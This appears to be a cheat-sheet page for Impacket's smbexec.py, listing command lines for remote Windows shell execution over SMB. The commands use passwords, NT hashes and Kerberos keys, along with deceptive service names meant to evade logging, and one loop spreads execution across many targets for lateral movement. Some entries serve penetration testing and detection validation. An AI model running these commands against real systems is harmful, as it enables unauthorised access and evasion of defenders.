Skip to content

smbexec

45 commands

Impacket’s smbexec.py: a semi-interactive shell over SMB that creates a service per command instead of uploading a binary.

  • remote execution
  • SMB
  • Impacket

Install smbexec

sudo apt install python3-impacket

Basic Remote Execution3

smbexec.py administrator:password@192.168.1.10

Executes a semi-interactive shell on a remote Windows host using local credentials.

Link
smbexec.py domain/administrator:password@192.168.1.10

Connects to a target using domain credentials.

Link
smbexec.py domain/user:password@hostname

Targets a host by hostname instead of IP address.

Link

NTLM Hash Authentication2

smbexec.py -hashes :<NTHash> administrator@192.168.1.10

Performs Pass-the-Hash authentication using only the NT hash.

Link
smbexec.py -hashes <LMHash>:<NTHash> administrator@192.168.1.10

Performs Pass-the-Hash using both LM and NT hashes.

Link

Authentication Handling1

smbexec.py -no-pass administrator@192.168.1.10

Attempts to connect without a password, useful if a null session or existing trust allows it.

Kerberos Authentication3

smbexec.py -k -no-pass target.domain.local

Uses an existing TGT from the KRB5CCNAME environment variable for Kerberos authentication.

Link
smbexec.py -k -no-pass -dc-ip <DC_IP> target.domain.local

Authenticates via Kerberos while manually specifying the Domain Controller IP.

Link
smbexec.py -aesKey <hex_key> user@192.168.1.10

Authenticates using the AES256 key for Kerberos instead of a password or NTLM hash.

Link

Service Customization1

smbexec.py -service-name <name> administrator@192.168.1.10

Sets a custom name for the service created on the remote host to blend in.

Link

Execution Mode3

smbexec.py -mode SHARE administrator@192.168.1.10

Forces SHARE mode where output is written to a remote share file and read back.

Link
smbexec.py -mode SERVER administrator@192.168.1.10

Forces SERVER mode where a local SMB server is raised to receive command output.

Link
smbexec.py -share <share_name> administrator@192.168.1.10

Specifies a specific share (e.g., ADMIN$ or C$) to use for uploading the service executable.

Link

Target Specification2

smbexec.py -target-ip <ip> domain/user@hostname

Resolves the hostname manually to a specific target IP address.

Link
smbexec.py -port 445 administrator@192.168.1.10

Explicitly sets the destination port, useful if port forwarding or non-standard ports are in use.

Link

Output and Debugging2

smbexec.py -debug administrator@192.168.1.10

Enables verbose debug output to troubleshoot connection or authentication issues.

Link
smbexec.py -codec <codec_name> administrator@192.168.1.10

Sets the text encoding used for the remote output to handle non-ASCII characters.

Link

Advanced Authentication1

smbexec.py -k -debug target.local

Combines Kerberos authentication with debug mode to diagnose ticket issues.

Link

Lateral Movement Simulation1

smbexec.py -hashes :<NTHash> -service-name BTO_Service admin@192.168.1.10

Simulates lateral movement using a hash and a custom service name to test detection logic.

Link

Red Team Operations2

smbexec.py -mode SERVER -service-name WinDefendUpdate admin@192.168.1.10

Uses Server mode and a deceptive service name to evade simple log analysis.

Link
smbexec.py -share C$ -service-name NetLogonHelper admin@192.168.1.10

Executes via the C$ share instead of ADMIN$ with a legitimate-sounding service name.

Link

Blue Team Validation2

smbexec.py -debug -service-name TEST_LATERAL_MOVE admin@192.168.1.10

Generates a noisy, easily identifiable service creation event for verifying SIEM alerts.

Link
smbexec.py -k -no-pass -service-name KRB_TEST target.local

Tests detection rules for Kerberos-based service creation lateral movement.

Link

Complex Workflow2

smbexec.py -hashes :<NTHash> -dc-ip <DC_IP> domain/user@target_ip

Authenticates to a specific target IP while directing authentication requests to a specific DC.

Link
smbexec.py -mode SHARE -share IPC$ admin@192.168.1.10

Attempts execution using the IPC$ share, often used to test restricted share access controls.

Link

Legacy/Compatibility1

smbexec.py -port 139 administrator@192.168.1.10

Attempts to connect over the legacy NetBIOS Session Service port instead of port 445.

Link

Purple Team Validation1

smbexec.py -service-name AE_SVC_RANDOM admin@192.168.1.10

Emulates an adversary using randomized service names to bypass static string detection.

Link

Privileged Access1

smbexec.py 'domain/Administrator':password@192.168.1.10

Explicitly quotes the username to handle spaces or special characters in credentials.

Link

Incident Response Simulation1

smbexec.py -debug -service-name MALICIOUS_SERVICE admin@192.168.1.10

Creates a distinct artifact to test the incident response team's ability to extract service binaries.

Link

Network Evasion1

smbexec.py -mode SERVER -port 445 admin@192.168.1.10

Uses server mode to force the target to connect back to the attacker, altering traffic flow patterns.

Link

Automation Workflow1

smbexec.py -no-pass -k target.local < commands.txt

Pipes a list of commands into the standard input for automated execution upon connection.

Link

Troubleshooting1

smbexec.py -debug -hashes :<NTHash> admin@192.168.1.10

Debugs a Pass-the-Hash connection to verify protocol negotiation and authentication steps.

Link

Advanced Target Specification2

smbexec.py domain/user:pass@192.168.1.10

Standard syntax for domain authentication against an IP address target.

Link
smbexec.py localaccount:pass@192.168.1.10

Authenticates using a local account (non-domain) on the remote machine.

Link

Interactive Handling1

smbexec.py admin:pass@192.168.1.10

Upon successful connection, smbexec drops into a semi-interactive CMD.EXE shell.

Link

Service Cleanup Check1

smbexec.py -service-name TEMP_SVC admin@192.168.1.10

Used to verify that the tool correctly deletes the service 'TEMP_SVC' after the session exits.

Link

Blind Execution1

smbexec.py -mode SHARE -no-pass -k target.local

Uses Kerberos and Share mode for environments where direct server callbacks are blocked by firewalls.

Link

Cross-Forest1

smbexec.py child.root.local/admin:pass@rootdc.root.local

Demonstrates lateral movement across trust boundaries using explicit domain credentials.

Link

Detection Evasion1

smbexec.py -service-name '' admin@192.168.1.10

Attempts to execute with an empty service name to test robustness of parser and logging (may fail on some versions).

Link

Full Stealth Simulation1

smbexec.py -k -no-pass -mode SERVER -service-name MS_Update admin@target

Maximizes stealth by combining Kerberos (no NTLM), Server mode (no share drop), and a deceptive name.

Link

Key-Based Auth1

smbexec.py -aesKey <key> -dc-ip <IP> user@target

Uses AES keys for authentication while pinning the DC to avoid DNS poisoning or spoofing.

Link

Prompt Handling1

smbexec.py admin@192.168.1.10

If the password is omitted in the command line, smbexec will securely prompt for it.

Link

Hash Formats1

smbexec.py -hashes LM:NT domain/user@ip

Standard syntax for passing full LM:NT hash pairs for domain accounts.

Link

Mass Execution Scripting1

for ip in $(cat targets.txt); do smbexec.py admin:pass@$ip; done

Conceptual bash loop demonstrating how smbexec is wrapped for mass lateral movement.

Link

Exit Behavior1

exit

Typing exit inside the smbexec shell terminates the remote service and cleans up the binary.

Link